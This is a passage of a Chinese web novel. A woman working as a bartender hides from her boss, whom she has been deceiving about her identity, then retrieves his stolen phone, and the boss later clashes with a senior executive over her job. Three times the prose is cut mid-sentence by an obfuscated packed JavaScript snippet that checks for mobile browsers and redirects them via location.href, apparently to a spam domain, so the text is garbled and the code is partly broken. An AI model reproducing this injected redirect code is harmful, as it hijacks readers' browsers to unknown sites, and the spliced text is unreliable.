顾妙倒吸了一口凉气,立刻转身蹲下,躲在吧台里。 马甲果然不能乱穿,鱼和熊掌果然也不能兼得,太贪心的话,转眼就有可能当面掉马! 梦里出现过N多次的多种掉马现场此起彼伏地在顾妙的脑子里浮现,成功取代了之前无限不循环的流言蜚语。 顾妙紧张地坐在地上,背靠橱柜,下意识地抠起手指头。 小刘低头看她:“至于怕成这样吗?你不说他人还挺好的?” 顾妙见他姿势过于明显,一把拉住他的胳膊,小刘那堪比芦柴棒的身材可经受不住顾妙这手劲儿,就跟坠了个千斤坠似的立刻秃噜到了地上。 “姐,你轻点,上回就差点给我拽脱臼!” “嘘嘘嘘!小声点!”顾妙小心翼翼地起身,伸长脖子看了一眼仍旧在玩手机的魏如栩,秒缩回头,大眼瞪着小刘的小眼儿,“人再好,也不能忍受别人拿他当傻子啊!虽然我并不是故意的……” 小刘揉着自己那纤细的手腕:“您那还不算故意的?看来是成心的!” “这两天我正想着怎么跟他坦白呢,就是一时没找到好机会。”顾妙心事重重地说,“我才不想骗人呢,他对我越好我越内疚。” “我觉着你也不必有这么大心理负担,早说早了,一般这种事都是越拖越完蛋。” 小刘看了一眼顾妙的打扮,她穿着酒吧的制服——黑衬衫配黑色西装马甲,腰间系着黑色长款围裙,满头泰迪卷大部分变了形,退化成了大波浪,被主人利索地绑成马尾,长长的发梢搭在肩膀上,还有几缕“散兵游勇”垂在鬓边,将整个人的线条描绘得分外柔和。 小刘又端详着她的脸,妆已经卸掉了,现在素面朝天,连眉毛都没化,在昏黄灯光映照下皮肤如同白瓷一般,看起来甚至比她本来年龄还显小,换上校服可以直接去冒充高三党。 “妙妙姐,我劝你,能赶紧坦白就赶紧,搞不好能被人家宽大处理。又不是拍古装剧,哪有这么好伪装的,我估计你老板心里早怀疑了,就是不好意思问你。” “顾肖也这么说……我也想说来着,就是找不到好机会。”顾妙苦恼地扶额,“要是我有月光宝盒就好了。” “你俩蹲这儿说什么悄悄话呢?”川子满含怒意的声音从他俩头顶上飘过来。 顾妙和小刘抬头,从他们的角度来看,川子那张布满青春痘的脸此刻气得又红又涨,仿佛是刷了一层豆腐乳的大饼。 “你们是打算坑死我是吧?刚刚退了好几杯酒,现在客人都在催,敢情挨骂的是我,你俩跟这儿捡乐!”川子压着声音怒吼,“再这么下去我铁定告诉老板!” 小刘站起来,扫了一眼压在台面上的单子,开始配酒:“别唧唧歪歪的,这会儿还没上人,又不忙。这几杯调好我去送,你歇着吧!” 川子低头瞪了一眼顾妙:“你怎么回事?腿断了?” 顾妙冲他一伸手:“还有干净口罩吗?借我!” 小刘今年才二十岁,看起来又瘦又小像根细柳条,但他不到十六岁就出来满世界打工,人机灵手脚也勤快,外加嘴也甜,混得很开。 他把酒给顾客送过去,好好陪了不是,又动用了权限送给那桌几瓶啤酒,外加几句甜言蜜语,把人家逗得眉开眼笑,小事化了。 回到吧台,他看见顾妙戴上一副黑色口罩,不知道从哪变出来一顶黑色棒球帽扣在脑袋上,帽檐压得很低,小心翼翼地问他:“还能认得出是我么?” “照X光都认不出。这会儿人多了,他朋友也来了,估计顾不上看你,你就放心吧。” 顾妙小心翼翼地望向魏如栩那边,只见他那个卡座里多了几个跟他差不多年纪的帅哥,一边说笑一边正在看酒水单。 川子给他们点完单后向吧台走过来,魏如栩无意识地顺着川子的方向也往吧台看了一眼、 原本他不会注意到一个毫不起眼的女调酒师,只是顾妙别出心裁地搞了一副口罩戴上,配上黑色棒球帽和一身黑衣服,不像个调酒师,倒像个武林人士。 所以魏如栩就情不自禁多看了她几眼。他自然是认不出武装到牙齿的顾妙,只是无端觉得这个身型好像有点熟悉。 顾妙不小心对上了他的眼睛——隔着大老远她坚持认为自己看到了魏如栩的眼睛——顿时吓尿了,低头缩脖原地化成一只鹌鹑,紧贴着酒柜一角站着,幻想自己这一身黑能跟酒柜融为一体。 好在魏如栩很快就扭回头去跟他的狐朋狗友喝酒,没再往这边看。 顾妙远远地看着他跟人推杯换盏,却莫名从他的背影中看出一丝寂寥。 许是这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459397|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天八卦听多了的缘故吧! 顾妙甩甩头,摈弃一切杂念,想把自己埋在工作堆里。但善解人意的小陈担心她再浪费物料,把活儿都大包大揽了过来,只让她拿着喵喵锤瓶起子给人开啤酒。 魏如栩这边确实有点寂寥,因为他约的这些朋友不算密友,平时来往也不太多,只是在一些大型聚会上聊过几次。 这些人都算是富二代,家里基本都是做生意的,做的也都是实业。 魏如栩内心多少有点清高,看不上他们玩的那一套,并没兴趣跟他们来往,因为他们除了共同顶着一个“富二代”的头衔之外,没有任何相同之处。 况且,富二代之间也有等级划分,像魏如栩家这种资产水平的,差不多也就是个中下层了。 有句话说得好,圈子不同,不必强融。 但今时不同往日,魏如栩觉得自己想要撑起嘉栩,就必须有自己拉客户的能力。眼下最好入手的客户,就是这帮“狐朋狗友”们。 所以他琢磨了好几天,通过各种渠道打听了一些朋友的背景,按照他们家中经营的业务分门别类做了一张表格,准备陆续约他们出来聊聊,今天约的就是第一批。 他打算借玩乐的方式先拉近距离,然后假装话赶话提一提自己眼下的困境。这帮少爷羔子就会假装讲义气,一定会叫着喊着要帮他,即便接下来的事情二分真八分虚,至少他也能多一点机会。 魏如栩觉得,见十个人,能谈成一单,他也赚了。 有句老话说得好,理想很丰满,现实很骨感。魏如栩想象自己可以做到圆滑处世、游刃有余,但真到了桌面上,他就是废柴一根。 小魏总平时表现得温润礼貌,那是家教所致,他实际上面热心冷,尤其面对自己不太认同或者不太熟悉的人,更是不知该从那里打开话题。 好在这帮纨绔子弟原本就互相认识,也不乏能说会道的人,场面倒不至于尴尬。 他们聊女人聊车聊表聊八卦,甚至还有些不怎么和谐的内容,聊得十分兴起,主人家却完全参与不进去,眼前场景没能按照自己设想的发展,魏如栩想说的话自然如鲠在喉,一个字也吐不出来。 结果便是,请来的朋友们聊得热火朝天,啤酒洋酒喝了一溜够,小魏总本人当晚台词不超过两百字,他能说的就是“嗯”“啊”“敞开了喝”“不够再点点儿”“大家以后多约”“什么时候打球叫上我”,然后就坐在旁边安静听人吹牛,附赠真诚而(假装)不尴尬的笑容。 三个小时一眨眼就过去了,请来的人也都喝得东倒西歪,酒精上头开始起哄,准备要换个更high的地方续摊儿,而魏如栩还没机会开口聊自己的事儿呢。 既然如此,他也不打算强求,准备回家总结经验教训,回头约第二批人再战。 虽然今晚一事无成,但他多少也有点收获——他隐隐意识到,拉客户好像有点难。 顾妙一边低头工作,一边时不时抬头看向魏如栩那边。眼看到了自己的下班时间,而小魏总那伙人也结了账,起身你推我搡地往大门口走去。她一颗悬在喉咙口三个小时的心终于缓缓回落。 然而当她拖拖拉拉收拾好自己的东西,脚底下生疮似地挪到门口等顾肖来接她的时候,却发现魏如栩还在大门外站着,盯着手机不知道在干什么,她吓得赶紧躲在了门后头。 稳定了几秒钟,顾妙悄悄伸出头,透过玻璃门,她隐约看见魏如栩的手机界面是某款叫车软件。 “也对,他喝了酒,现在不是打车就是叫代驾。”顾妙暗自思忖着,“不过认识他这么久,好像也没见过他开车……他们这些人不是至少都要名车加身吗?难道小魏总不好这口?这么清新脱俗?” 俩人一个在大门外发呆,一个在大门内发呆,都没留意到一个黑影从门口悄悄接近魏如栩,突然间出手,抢了他的手机拔腿就跑! 21. 第二十一章 噩梦 事情发生得太突然,魏如栩完全没反应过来,但是顾妙在黑影走到魏如栩身旁的那一秒钟就发觉不妙,所以她多了一秒钟的反应时间,想都没想撒丫子就追了出去! 劫匪听到有人追上来,仓皇间回了一下头,看到顾妙他楞了一下——我刚刚抢的是个男的,怎么追上来是个女的? 就是这瞬间的晃神导致了他彻底的失败,顾妙那身手可是练过的,掐准距离瞬间起跳,一脚揣在劫匪的后心上,“咣叽”一声,那人来了个五体投地,手机从他手里滑了出去。 劫匪顿时觉得自己后侧的肋骨可能是断掉了,明白面前这位女侠不好惹,为了一个二手手机完全不值得付出生命代价。 于是他立刻做出正确判断,一把捡起手机,往顾妙怀里一扔,趁机爬起来,夺路而逃。 顾妙也没恋战,拿起手机端详了一下,发现连屏幕都没碎,顿时非常有成就感。 “哎,这位……朋友!” 魏如栩的声音从身后传来,顾妙没敢转身,更不敢应声,她弯腰把手机放在地上,左右端详了一下路线,手捂着棒球帽,甩开腿就跑了。 顾妙跑到下一个路口,转弯拐进小巷,看到一个110值班亭才停下来。 这时她兜里的手机突然开始巨震,一看是顾肖打来的电话,她赶紧接了起来,压低声音说:“喂,你到哪了?” “姐,你在哪儿做贼呢?说话声音这么小?我到你酒吧了,你人呢?” “你在酒吧等我会儿,我这就回去——对了,魏如栩在那附近,你藏好了,别让他看见你!” 她不管顾肖一脑门的疑问,挂了电话,小心翼翼地回到原来的路上,远远向前望去,见魏如栩已经不在她放手机的那个地方,才放心地沿原路返回。 想来小魏总也没有那个闲心守手机待恩人,况且这也不是什么救命之恩,估计这会儿应该是走了。 五分钟以前。 魏如栩见那个“侠客”帮自己抢回手机,但听见自己的声音就跟受到了什么莫大惊吓似地拔腿就跑,也明白人家并不想多事,便也识趣地没有去追。 况且他在软件上叫到的车已经到了附近,师傅给他打来了电话,于是他就近上了车,也没在此地多流连。 车开出去十分钟之后,小魏总的反射弧才跑完了全程,意识到刚刚发生了什么,觉得非常有趣。 他端详着手里那支只有一点磨损的手机,顿时眉开眼笑,害得司机师傅无意中从后视镜里看到他过于灿烂的笑容,起了一身鸡皮疙瘩。 谁说世风日下、人心不古的?他一个大男人手机被抢了,还有身怀绝技的小姑娘帮他抢回来,更何况人家一不图回报二不图他美色,做好事不留名,这么好的人哪里去找?! 真是让人对这个世界充满了美好的憧憬啊! 被打击整晚的心情突然间变得好了起来呢! 顾妙回到酒吧门口,左顾右盼没看到顾肖的身影,想起自己刚刚让他藏好,于是她把目光投射到了两旁一人多高的灌木丛,迟疑了半秒,走到灌木丛边,找猫似地轻轻叫了几声:“顾肖?顾肖?” “姐,你在干嘛?” 顾肖的声音从她背后飘过,顾妙顿时觉得不妙——完了,一晚上不在状态,智商下线,恐怕又得被这熊孩子嘲笑。 她强作镇定地转过身来,看见顾肖拿着一杯外带杯装的饮料,站在酒吧门口,一脸坏笑。 “没干什么。”顾妙挠挠胳膊上刚被蚊子咬出来的大包,欲盖弥彰地说,“就……那什么……刚想找你来着。” “你不会觉得我藏在那里边喂蚊子吧?”顾肖走到顾妙跟前,眼角眉梢都挂着促狭,狠狠吸了一大口饮料,“我还没那么缺心眼!” “就你精,行了吧?”顾妙没好气地问,“饮料哪来的?不会又挂我帐了吧?” “明知故问。这么晚让我来接你,我还不能给自己弄点福利?我听小刘说,你晚上遭遇了魏如栩,刚才怎么回事?” 一边往家走着,顾妙一边把刚刚的事儿告诉了顾肖。 顾肖见她不停挠手臂,便把喝完只剩下冰块的饮料杯子一把怼在了她那个硕大的蚊子包上:“别挠了,挠得稀烂,看了多伤眼。” “又不伤你的眼。”顾妙小声嘟囔着。 顾肖对刚刚顾妙“女汉子救美”一事没有做什么评论,感慨道:“你说你一跆拳道红带,走夜路顶多是你劫别人,干嘛非得半夜让我出来接你?不知道现在男孩子一个人上街很危险吗?” 顾妙阴恻恻地抬头白了他一眼,这个臭小子一脸坦然无辜,说得跟真事儿似的,还真以为自己是朵娇花了么? “可要点脸吧,大佬。”顾妙闷声说。 “我说,你明天就跟魏如栩坦白吧,本来也没多大事,这么藏着掖着没意思。”顾肖没接她的话,陡然正经起来。 “明天?也不知道……”顾妙忧心忡忡,一时心乱如麻,话都说不完整,“万一……” “没什么一万万一的,你们偶像剧不是爱用那句话吗?‘捡日不如撞日’,看命了。不管什么结果,至少在面对他的时候,心里坦荡一些。” 顾妙似乎想求个安慰,看着顾肖的侧脸:“你说他会是什么反应?如果换了是你,你会不会原谅我?你也说了,这也不算什么大事。” “我又不了解他,哪知道他会什么反应。不过要是有人敢这么糊弄我……”顾肖偏头看了顾妙一眼,似笑非笑地说,“杀无赦。” 好啊,送你姐去死,真有你的! 顾妙冲他莞尔一笑,伸手在顾肖腰间狠狠拧了一把。 “啊!” 一声惨叫响彻夜空。 魏如栩像是被梦魇住了。 眼前漆黑一片,伸手不见五指,不远处传来清楚的狗叫声。 “汪!汪!汪!” 狗叫声很响,魏如栩循着声音小心翼翼地跑过去,可是他依旧什么都看不清,急得心脏都快跳了出来。 魏如栩:“奇奇,别跑了,停下来!别跑了!你会把……” 他的话还没说完,一个尖利的女声传来:“啊——” 魏如栩愣住了,脸上全是惊恐的表情,这个时候他的面前突然亮了起来,一束追光照着一个躺在地上的女人。 他脸色白得像纸,脚步轻轻地走过去,缓缓蹲在女人身后,伸出手去抓住她的肩头,往自己面前掰过来,女人的脸也跟着翻了过来…… “啊!”魏如栩猛地醒了,胸口仿佛有千斤石块,压得他喘不过气来。 他大口大口地呼吸着,片刻后才意识到这是在自己家里,窗帘的缝隙里隐隐透着一缕白光,看样子天已经亮了。 果然还是不能喝酒,喝了胃里难受,睡觉的时候无意识地趴了过去,压住了心口,才做了这样的噩梦。 他瞟了一眼床头闹钟,早上六点半。时间还早,可是他再也睡不着,于是翻身下床,先是从冰箱里拿了瓶冰镇矿泉水,咕咚咕咚灌了半瓶,接着便换了一套运动服,拿起耳机出门晨跑。 在小区里跑了半个小时,心跳虽然很快,但他的心情终于慢慢平复。 晨跑过后,魏如栩回到家,冲澡、吃了几片面包,换好衣服之后便拎着滑板出了门。 他和他父亲的家并不在这儿,郊区有栋别墅,魏如栩在英国的时候,魏远生不想一个人住那么大那么空的房子,就在靠近市中心的一个高级小区里买了套大平层。 可魏如栩回来,父亲病重,他也不想一个人住在空荡无人的平层里,就在公司附近租了这套七十多平米的一居室。 这里装修精良,基础家电一应俱全,拎包入住,到公司距离只有两公里,非常符合他的要求,平时溜着滑板很快就到办公室。 原本平层里有个住家保姆,可是魏远生病后就让她离开了。魏如栩觉得自己并不是生活不能自理,连保姆都省了。他不太喜欢陌生人在家里转来转去,所以只定了个长期钟点工,一周过来打扫两次。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459398|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他也有车,只是不爱开,这点和其他公子哥不太一样。主要是嫌麻烦,平日里堵车不说,去哪都还得找停车位。他向来不愿意在这样的事情上浪费时间,所以也喜欢轻装上阵。 还有朋友建议他既然不愿自己开车,那就找个司机,听了这话,魏如栩立刻想起了他爸,感觉自己顿时成了个五十多岁的中老年男子,于是连连拒绝。 又不是离了车不能活,他也不需要天天到处跑。再说现在打车比以前方便多了,需要用车就打车好了。 站在写字楼楼下,魏如栩仰头向上看了看,轻轻叹了口气,收起之前面无表情的一张脸,挂上了温和可亲的笑容,拎起滑板向里走去。 刚回国的时候只顾照顾父亲,其实没正经上班。唯一办的正事是去参加那次业内交流会,其实也不算什么正事,只是露个脸,并不能为公司带来什么效益。 接着他又送父亲出国疗养,一来一回耽误了一星期的时间,这才正式上了几天班。 公司里的人,除了廖玄,其他的高层他都只是脸熟,基层员工更是不认识。而他从小就不喜欢廖玄,总觉得他过分圆滑,看着油腻腻的让人不舒服。 所以,这个公司对他来说是个极其陌生的地方,一走进来,压抑感倍增,仿佛所有的人都在注意他,都在等着他犯错。 这也没办法,谁叫他是老板的儿子,谁叫他爸在刚发病的时候,拉着高助理的手念念不忘的就是叫他回来暂代总经理。 老爸从来没勉强过他,但这一次,他不能辜负老爸。 无形当中,他把整个公司的人都当成了假想敌,只有看到顾妙的脸,他才能稍微安心点。 毕竟只有她是魏如栩自己选的,而不是被动接受的。 顾妙看见魏如栩,连忙站了起来:“小魏总早。” 魏如栩冲她点点头:“早,今天有什么安排吗?” “一会儿十点钟,大会议室您有个会,客户、策划和媒介都参加,讨论童心奶粉的方案。”顾妙忙不迭地说,“前期资料放到您桌上了。” “OK。”魏如栩停下脚步,回身看了眼顾妙,翘起嘴角笑了笑,“最近习惯了吗?” 顾妙压住心里的忐忑不安:“嗯?还挺好的。” “不着急,慢慢来。招聘的事儿怎么样了?” “早上跟HR沟通过,收到了不少简历,今天会进行第一轮的筛选。” “嗯,这事儿辛苦你多费心了。”魏如栩想了想,“一会儿的会你也一起参加。” 顾妙意外:“我?” 魏如栩冲她眨了眨眼,笑道:“认人啊!正好大脑袋们都在,你做我的耳目,好好观察他们。” 顾妙:“……” 感觉任务real艰巨。 魏如栩走到办公室门口,回头看了一眼顾妙,虽然她今天一如既往地披着小卷发,穿着碎花连衣裙,但他总觉得哪里有些怪怪的,可是又不能确定到底哪里怪。 很快他便收回目光,进了自己的办公室。毕竟盯着女下属看并不太合适。 第一次上这种大会,顾妙万分紧张,脑子里幻想了很多以前在电视剧里看来的画面,心想一个廖玄已经很难搞了,那些——用魏如栩的话来说,“大脑袋”们,搞策划的,脑袋里山路十八弯,搞媒介的,八面玲珑,每个人都见多识广,自己这只小变色龙,能逃得过他们的法眼吗? 不过反过来想想,说不定人家根本注意不到自己,虽说是总助,但到底也是个小透明,应该没什么存在感。 其实顾妙本来并不怯场,她这个愣头青从小天不怕地不怕,脸皮厚得很。只是现在她一方面在马甲后面瑟瑟发抖,另一方面又觉得自己现在是魏如栩的助理,如果她出了什么错,会给魏如栩脸上抹黑。 自己一个人怎么样都行,但连累别人,就有点不仗义了。 可能连她自己都没意识到,虽然她没什么工作经验,也没有专业特长,但至少“团队精神”一项,还是合格了的。 22. 第二十二章 大脑袋 提前五分钟,顾妙抱着笔记本电脑跟魏如栩走到了会议室门口,正好碰上廖玄和车翔。 车翔嘴甜得很,主动跟魏如栩打招呼:“小魏总!” 魏如栩冲他点点头,礼貌地称呼廖玄:“廖总好。” “这么叫多生疏,还是叫叔叔吧。”廖玄揽着他的肩膀进了会议室,早到的各部门参会者都站了起来,纷纷向他们问好。 魏如栩跟大家笑笑,对廖玄说:“毕竟是工作场合,这样不太好。” “行,就听你的!”廖玄把他按在会议桌上手的位置,爽朗地大笑,“小魏总,请坐。” 在场所有人都附和地笑了起来。 顾妙环视全场,不知道自己到底坐哪合适,一时间有些踟蹰。 车翔已经轻车熟路地坐在了会议桌的最末端,打开电脑,一切准备就绪。 “妙妙姐,坐这儿。”魏如栩指了指会议桌侧边第一个位子。 顾妙觉得跟廖玄坐面对面,有点不合适,她似乎应该去跟车翔坐一头。 魏如栩看出她的局促,拉她坐下来:“没事。” 廖玄似乎并不在乎座次,正低声跟旁边的人说着什么。 顾妙也不再多想,她觉得反正作为属下,冲锋陷阵以及出事儿了替老板背锅都是她该干的,她只要听老板一个人的命令就行了。 魏如栩探身过来,跟她交头接耳:“人大概都认全了吗?” 顾妙看着那几颗脑袋,尴尬地摇摇头。 “没事,我告诉你。”魏如栩目光落在跟廖玄说话的那个三十多岁的男人身上,“他是客户部的副总监,盛然,听说业务能力很强,廖玄很器重他。” 顾妙观察着盛然,此人穿着简单的白色立领衬衫,袖子卷到手肘,他肤色偏黑,留着精心打理的寸头,五官是很传统的好看,凑在一起显得非常精神,也很朴实。 “嗯,我记得你提过,说他为了无人机的项目挺拼的。”顾妙点点头。 魏如栩看向盛然旁边穿POLO衫的男子:“那是策划部的总监叶磊,坐在他旁边的是副总监谈彬锐,再旁边就是策划A组组长包鑫。” 顾妙认真看着那些人的脸,忙不迭地往脑子里装。 叶磊看上去三十五六岁,谈彬锐看起来也就三十出头,包鑫更年轻,估计还不到三十岁。 她大概了解,策划部也有ABC三个组,平时跟创意三个组配合工作,不过谈彬锐更欣赏包鑫,经常把一些比较重要的案子交给策划A组来做。 接着魏如栩冲顾妙身侧扬了扬下巴,低声说:“你旁边的是媒介部总监丁萧然,她身边坐着的是她的得力干将、媒介经理杜聪。” 顾妙侧身看了一眼丁萧然,她气质相貌俱佳,没有传说中“白骨精”那种咄咄逼人的气场,反而有些温婉可人。一头大波浪很是漂亮,其中一缕头发挑染成金色,身穿时尚的宝蓝色连衣裙,配了一条长项链,看上去也就三十多岁,跟凌晏如差不多大。 据顾妙了解,丁萧然算是一个传奇人物。 她早年间做主持人,实习期就去了央视,毕业后主动申请回了省台,很快成了当家花旦。她能说会道,交际能力奇强,凭一人之力打通了很多媒体渠道,随后辞职做幕后。 老魏总一直很欣赏她,提出很多优厚条件才从众人中把她抢了过来,顺理成章地将她身后错综复杂的人脉和媒体圈子收入囊中。 顾妙想过,丁萧然或许有自立门户的打算,以她的资源,自己成立传媒公司简直小菜一碟。 但之所以到目前还没有这么做,或许是觉得还没到天时地利人和的时机,自己也想多磨炼一把。可是如果她要走,对于嘉栩来说,将是很重的打击。 想到这里,顾妙不自禁地把目光放回到廖玄身上,心想如果廖玄和丁萧然合作,直接带走客户部和媒介部,这对嘉栩来说岂不更麻烦? 丁萧然是老魏总挖来的,她会对他忠心耿耿吗? 可顾妙也依稀记得,以前上课的时候,老师说过,办公司最忌江湖气太浓,妄图用江湖义气绑住员工是没用的,以忠不忠心来衡量一个员工,也是有失偏颇的,毕竟每个人都有自己的职业规划,没有谁会为谁停留。 这时候廖玄示意车翔关上会议室大门,然后清了清嗓子:“今天是小魏总第一次参加我们的策略讨论会,我们请他来说两句。” 大家一起鼓掌,面带微笑看向魏如栩。 魏如栩神色如常,一副温润谦虚的模样:“在座各位都是我的前辈,我就是来学习的,这次也不会参与太多意见,大家畅所欲言就好。开始吧。” 他说不参与太多意见,果然就从头到尾一声不吭,谁发言,他就认真地看向谁,诚意满满地一边听,一边随手在本子上写写画画。 虽然这次仍由车翔来做会议记录,但顾妙也没敢放松,几乎每个人的重要想法她都记了下来。 童心奶粉是公司的老客户,所有部门对这个品牌的调性都很熟悉,在策略上分歧不是太大,大家很快就总结出来了几个思路,各自回去再思考,等下一次开会确定策略。 因此会议进行了一个多小时便散会了,各部门纷纷离去。 见大家走得差不多了,廖玄叫住了刚站起身来的魏如栩:“如栩,你留一下。” 顾妙看到车翔整理好东西走出了会议室,回头看了一眼魏如栩。他冲顾妙点点头,示意她先走,顾妙这才放心离开,小心翼翼地带上会议室的门。 偌大的会议室立刻安静下来,显得十分空旷。 廖玄笑眯眯地走到魏如栩旁边,一手扶在椅背上,问道:“第一次参会,感觉怎么样?” “很新鲜。”魏如栩笑笑,“我就想当一块海绵,好好跟前辈们学习。” “看不出来你还挺有热情的。我记得你根本不喜欢管公司,要不然怎么这么多年也没来过几次。你大三那会儿,有印象吗?老魏跟我抱怨,说想让你到公司来实习实习,你死活都不干。” 廖玄掏出一根烟点上,喷出一口烟雾:“他费尽口舌劝你过来,你倒好,楼上楼下转了好几圈,最后做了个公司软装的修改方案给了你爸。他也真是疼你,你说什么就是什么,你看看,除了大件儿不好说换就换,现在公司整体风格都是按你那方案改的。” 魏如栩有点小得意,挑了挑眉毛:“廖叔叔,这你可就错了,我爸那不光是疼我,也是欣赏我的才华。” “好好好,才华,你小子确实有点才华。”廖玄伸手点了点他,无奈地笑,“可是你的才华都在艺术上,管理公司是另外一回事……” “我之前不喜欢管公司,是没考虑过将来。但是这次被我爸推过来,觉得还是应该为他老人家分忧。”魏如栩低头轻笑了一声,“有的事情不做不知道,接触一下还觉得挺感兴趣的。” “哦?”廖玄故作诧异,脸上浮起探究的笑容。 “我好歹也是毕业了,就算这次我爸没生病,我也总要工作的,只是暂时还没想好做什么。就算不来公司,我也不愿意做一个整天游手好闲的所谓‘艺术家’。只是之前一直茫然,不知道该干什么,现在觉得自己开家公司也不错,可以做艺术品买卖,或者可以开些课外学习班,做一些基础的美学教育,拉近艺术和大众的距离。” 魏如栩说着,似乎有点不好意思:“廖叔叔,您会不会觉得我的想法太理想化了?” “哪里话!你这么有抱负,当然是好事!既然这样,我也放心了。不过……”廖玄眉毛微微皱起,似乎有话不方便说,但犹豫再三之后还是说了出来,“你那个助理,从哪找的?” 魏如栩有些意外,睁大了眼睛:“什么意思?” “毕竟你还是个新手,助理的经验和学历都很重要。可是我听说,她是你带来的,没经过HR的招聘?”廖玄语重心长地说,“我看她也不像经验丰富的样子,怎么帮你?她是你朋友吗?就算是,也不能随随便便塞进公司里来,这太不慎重了。” 还没等魏如栩开口,廖玄又接着说:“这些天公司里关于她的传闻可不少,你都听说了吧?哈,什么离谱的都有,竟然还有的说她是你……唉,这些人还是太闲了!流言蜚语自然是不能信,可影响实在是太不好了,不能任其发展下去!” 魏如栩面色微沉,不太开心地问:“那您的意思是……” 廖玄把手里的烟蒂掐进烟灰缸:“我也不过问她跟你的关系,依我看,谢谢她这两天的帮忙,给她包个红包,打发走吧。反正也没签合同,而且又是你朋友,应该好说话。” “廖叔叔,这你就实在太难为我了……”魏如栩垂在身侧的手攥成了拳头,白皙的脸涨得通红,似乎在努力压抑着自己的怒火。 廖玄见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459399|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这副模样,极其诧异,提高了声音说道:“什么叫为难?我是为你好啊!你别忘了,你是总经理,总助这个职位要求很高的!这个顾妙什么来历?什么学历?你就把她往这么重要的岗位上放,传出去不怕别人议论吗?又是个女孩子,不怕人家说你和她……” “够了!别再说了!”魏如栩音调比平时高了几度,但也并不算大吼大叫,只是他盯着廖玄的眼睛很红,似乎要喷出血来。 “上次开除戴伟伦你让我出尔反尔,这次你想让我怎样,过河拆桥?我是什么样的人,你不清楚吗?我身正不怕影子斜,别人爱说什么说什么,我才不管!他们要是在背后嚼舌根,就开了他们,公司不需要这些放着正事不干,在背后议论老板的人!” 他这番话显得很任性,正给了廖玄指责他的机会。 “如栩啊!你这是什么脾气,长辈还说不得了?!一点就炸,将来是想搞一言堂吗?你当管理一个公司容易?这就叫从大局出发!有的时候不能只讲人情,你既然是总经理,做的决定就得能服众!” 廖玄毫不退让,坚决不能让这个小崽子踩在自己脖子上。 魏如栩冷笑:“那我当这个总经理,是不是根本也不能服众?他们是不是也私下议论,要不是我会投胎,哪轮得到我一个小孩来当他们的老板?” 廖玄:“你……你这是说的什么话?这人跟人能比吗?这是……” “廖叔叔,您是不是也看不惯我坐在这个位子上,觉得我根本没资格?!”魏如栩音调降了下来,恢复以往的平静,带着一丝戏谑问了廖玄这么一句,称谓从“你”换成了“您”,却更显讥讽。 廖玄并没动怒,只是摇了摇头:“怎么?成心气我?我能跟你这小崽子一般见识?我好歹活了这么一大把年纪,还会为谁有没有资格当总经理生气?我做客户这么多年,见过的纨绔子弟、富二代不在少数,个个都比你还熊,我要真动火,早就被气死了,还能站在这儿跟你说这些得罪人的话?” 魏如栩打量着他,沉默片刻,眼神渐渐变得凌厉:“叫了您这么多年叔叔,可能您还不了解我。我这人看起来好相处,但实际上非常不讲理。只要是我选的人,只有我自己能批评能开除,别人谁都别想动她!不止她一个,将来只要是我点头招来的人,都一样!” “公司不是这么管的,不像你小孩过家家,自己的人要护短,你护着他们,其他人怎么办?” “谁对我好,我自然护着谁。公司其他人要是没二心,当然也是好战友。如果个个都是戴伟伦,换了您也不敢信吧?” 魏如栩轻描淡写地说:“我是被我爸妈惯坏了,毛病不多,就是特别爱面子。谁要是背叛我,就是不给我面子,谁要是搞我的人,就是打我脸。我平时多听话,生气的时候就多吓人——一点就炸,也是您说的,那您还没见过我咬人的时候呢。” 魏如栩凑到廖玄跟前,笑了笑:“您见过那么多纨绔子弟,别忘了我也是其中之一。平时我敬您是长辈,不跟您顶嘴。但是您要老这么逼我,我可就忍不住了。” “忍不住了你想干什么?”廖玄沉下脸,瞪起他的牛眼,顿时显得杀气腾腾,“把我炒了吗?你想把这家公司毁了吗?这可是你爸和我一辈子的心血!” “一辈子的心血,哈!干到现在连个本土4A都不是,有什么可牛的?”魏如栩眨了眨眼睛,挂起一副混蛋相,“你们这些老年人啊,就喜欢吹牛。我爹我就不说了,保守得要命,一点风险都不敢扛,您呢?做客户这么多年,始终停留在什么层面也不用我说吧?您能磕几个牛逼大客户回来给咱们公司长长脸吗?” “臭小子,你……”廖玄说是不跟熊孩子一般见识,但是看见魏如栩突然跟变了个人似的什么话都敢说,也是一瞬间调不过台来。 但他毕竟应付客户多,说话前习惯多过几遍脑子,愣没跟上魏如栩的节奏。 这时候顾妙突然门都没敲,就一阵风似地冲了进来,语气十分着急:“小魏总,不好意思,早上我忘了跟您说了,有个客户约了您十一点半见面,现在人已经到了,您看?” 